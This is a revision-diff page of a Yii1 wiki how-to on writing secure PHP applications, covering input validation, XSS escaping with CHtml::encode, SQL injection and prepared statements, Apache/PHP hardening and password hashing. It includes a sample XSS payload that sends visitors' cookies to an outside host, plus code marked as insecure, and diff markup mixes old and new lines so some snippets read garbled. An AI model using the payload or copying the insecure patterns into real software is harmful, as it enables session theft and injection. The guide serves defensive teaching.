Revision #18 has been created by François Gannaz on Apr 30, 2021, 8:03:05 AM with the memo:
fixes the markdown syntax, because the wiki has changed
« previous (#17)
Changes
Title
changed
How to write secure Yii1 applications
Category
unchanged
How-tos
Yii version
changed
1.1
Tags
changed
authentication,security, authorization, authentication, XSS, SQL injection
Content
changed
[...]
Validating a form with JavaScript has absolutely no impact on the security!
It should only be meant as a way to enhance the interface and its comfort of use.
The HTML restriction are the same. For instance, if a page has a form containing:
~~~
[
```html
]
<input type="hidden" name="id" value="1" />
<input type="text" name="date" size="10" />
<select name="list"><option>1</option><option>2</option></select>
~~~```
The data received in the PHP application can contain anything.[...]
The controller:
```php
<?php
// In the controller[...]
The model:
```php
<?php
// In the model[...]
This happens frequently for numeric IDs where you should use `(int)`.
```php
<?php
// insecure (see below for restrictions)[...]
Here is a extract of a view. The page just shows a user profile.
~~~
[
```html
]
<h2>Profile of <?php echo $user->name ?></h2>
Other unfiltered and unsecure outputs:
<a href="/posts?name=<?php echo $user->login ?>"
title='<?php echo $user->name ?>'>See my posts</a>
~~~```
Why is this dangerous? Suppose the user's name is:
```
Joe<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script>
```
Then everyone that consults this profile will send an HTTP request for an external image,[...]
**If you want to print plain text in a HTML page, use `CHtml::encode()`.**
Here is an example:
~~~
[
```html
]
<h2>Profile of <?php echo CHtml::encode($user->name) ?></h2>
~~~```
This function is in fact a wrapper on `htmlspecialchars()` with your application's characters set[...]
in "The Definitive Guide to Yii".
```php
<li class="comments">
<?php[...]
of XSS is low.
```php
<div class="comment">
<?php[...]
Here is an example of several cases in JavaScript and HTML:
~~~
[
```html
]
<script>var a = "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script>
<a href="/search/<?php echo rawUrlEncode($query)) ?>">Escape url parts</a>
<a href="/?param=<?php echo urlEncode($param) ?>">Escape URL parameters</a>
<a href="<?php echo CHtml::encode($url . "¶m=" . urlEncode($param)) ?>">Escape whole URLs</a>
~~~```
`CHtml::encode()` cannot be used alone here because it could produce an invalid URL, for example with[...]
If you need to write from PHP to JavaScript, you should use the static methods of [CJavaScript](http://www.yiiframework.com/doc/api/1.1/CJavaScript).
```php
<?php
$messages = array("Rock'n roll", 'Say "hello"');[...]
In this case, you have to prefix your string with "js:", the prefix will be removed and the rest will be unchanged.
```php
<?php
$this->widget([...]
to send its own SQL in the query.
```php
<?php
// warning, dangerous code[...]
Instead of the code of the example above, what follows is far more secure:
```php
<?php
// still lacks validation (see "Validating user input" above), but more secure[...]
For most DB functions, **prefer array parameters to string parameters**.
Here is another example using PHP arrays:
```php
<?php
// warning: potential sql injection[...]
The are still cases where writing raw SQL is needed.
Consider a simple query that has 2 parameters:
~~~
[
```sql
]
SELECT CONCAT(prefix, title) AS title, author_id, post_id, submit_date
FROM t_comment
WHERE (date > '{$date}' OR date IS NULL) AND title LIKE '%{$text}%'
~~~```
There are 2 ways to secure this:[...]
There are two ways to write this in Yii:
```php
<?php
// Note the parameters are written :param without surrounding quotes[...]
When retrieving models from the DB, the syntax is simple:
```php
<?php
$comments = Comment::model->findAllBySql($sql, array(':date' => $date, ':text' => "%{$text}%"));[...]
Even if no SQL injection in possible in the previous queries, there is still room for improvement.
The SQL function `LIKE` has a special treatment for the characters "_"`_` and
"%"`%`.
In many cases, this is not a problem, with mostly unexpected results.
But if the data queried is huge, then transforming a `"begin%"` condition into `"%s%a%"` condition can make the query so heavy that it slows the SQL server, because no index can be used for the later.
So **you should protect the characters
"%"`%` and
"_"`_`** when the user input is going into a LIKE condition, for example with `str_replace()`.
See further for example of how [CDbCriteria::compare()] or [CDbCriteria::addSearchCondition()] can simplify this.
##### Side note on positional parameters
As of now (Yii 1.1.8), the framework does not recognized *positional parameters* marked with
"?"`?`.
You have to used *named parameters* whose names begin with
":"`:`.
##### Side note on performance[...]
As written above, prepared statements remove any risk of SQL injection in the parameters.
Alas, there will be times when you need to use variables for parts of the SQL query that cannot use prepared statements.
~~~
[
```sql
]
SELECT *
FROM {$mytable}[...]
ORDER BY {$myfield}
LIMIT {$mylimit}
~~~```
The traditional way to solve this problem in pure PHP is to have white-lists of accepted values for each part.
But Yii provide several ways to help.
The first one is that Yii knows your DB schema, so you can write:
```php
<?php
if (!Comment::model()->hasAttribute($myfield)) {[...]
Most of the time, your expected result is to be parsed as models, so you can use `find*()` methods with [CDbCriteria] to build a more secure query.
For example:
```php
<?php
// Yii applies some validity checks when the query is not raw SQL[...]
To be complete, here is another syntax for the previous example:
```php
<?php
// Yii applies some validity checks when the query is not raw SQL[...]
but it doesn't mean the last items are not secure.
*- When results are models, chose the first element of the list that matches your needs:
1. [CActiveRecord::findByPk()] or [CActiveRecord::findAllByPk()]
2. [CActiveRecord::findByAttributes()] or [CActiveRecord::findAllByAttributes()][...]
5. `X::model()->findBySql($sql, array(':param1' => $value1))` or `->findAll(...)`
*- When results are not model, use prepared statements:
```php
<?php
$r = Yii::app()->db[...]
It is a bit safer (and faster) to put this configuration in the global configuration of Apache.
Here is an example that also disables PHP files in "assets/".
~~~
[
```apache
]
# Example config for Yii-myapp and Apache
# Please set the pathes to their right values[...]
Options -Indexes
</Directory>
~~~```
Instead of the previous configuration, here is an example of putting a Yii application in a Virtual Host. Each securing directive has an explaining comment.
~~~
[```apache
]
# Example config for Yii-myapp as an Apache VirtualHost
# Please set the paths and the host name to their right values[...]
</DirectoryMatch>
</VirtualHost>
~~~```
### For every PHP project[...]
This directives can be set in the global "php.ini" file.
If Apache has `AllowOverride Options`, then ".htaccess" can be used.
~~~
[
```apache
]
# .htaccess file
php_flag display_errors off
php_value error_reporting -1
~~~```
One can also use `php_admin_flag` and `php_admin_flag` to set config parameters that can't be changed dynamically with ".htaccess" or `ini_set()`.
Here is an example in an Apache config file.
~~~
[
```apache
]
# Apache config file
<Directory "/var/www/myapp">
php_admin_value open_basedir /var/www/myapp/:/tmp/
</Directory>
~~~```
SSL is out of the scope of this wiki page.[...]
You can also use a ready-made solution, the extension [epasswordstrength](http://www.yiiframework.com/extension/epasswordstrength).
```php
<?php
class User extends CActiveRecord[...]
It does not consider LDAP, SSO, OpenID, or any other external service.
If the authentication process is internal, then of course you shouldn't store the passwords in plain text.
The easiest solution for encryption is to use the well-known library [PHPass](http://www.openwall.com/phpass/)Since PHP 5.4, PHP has password functions.
With Yii, it can be as simple as the following "User" model:
```php
<?php
// autoload "protected/lib/PasswordHash.php"
Yii::import('application.lib.PasswordHash');
class User extends CActiveRecord
{
public function validatePassword($password)
{
// $password is the user input
{
// Try to use stronger but system-specific hashes, with a possible fallback to
// the weaker portable hashes.
$hasher = new PasswordHash(8, FALSE);
return $hasher->checkPassword return password_verify($password, $this->password);
}[...]
{
// Replace the raw password with the hashed one
if (isset($this->password)) {
$hasher = new PasswordHash(8, FALSE); // Beware of double-encoding when you update a record!
if (!empty($this->password)) {
$this->password =
$hasher->HashPpassword
_hash($this->password
, PASSWORD_DEFAULT);
}
return parent::beforeSave();[...]
```
What the library PHPass does is applying random salting, choosing the best encrypting algorithm available, iterating it a high number of times... Nothing really hard to code by oneself, but why reinvent the wheel. And the author is a security expert, he wrote the famous "john the ripper" password-cracking tool (the successor of Jack the ripper ;). If you want to know more on passwords, the home page of the library contains links toward technical articles and a few advanced recommendations.
## Useful Tools
There are several tools that can detect potential security breaches in your application.
First, some web security scanners:[...]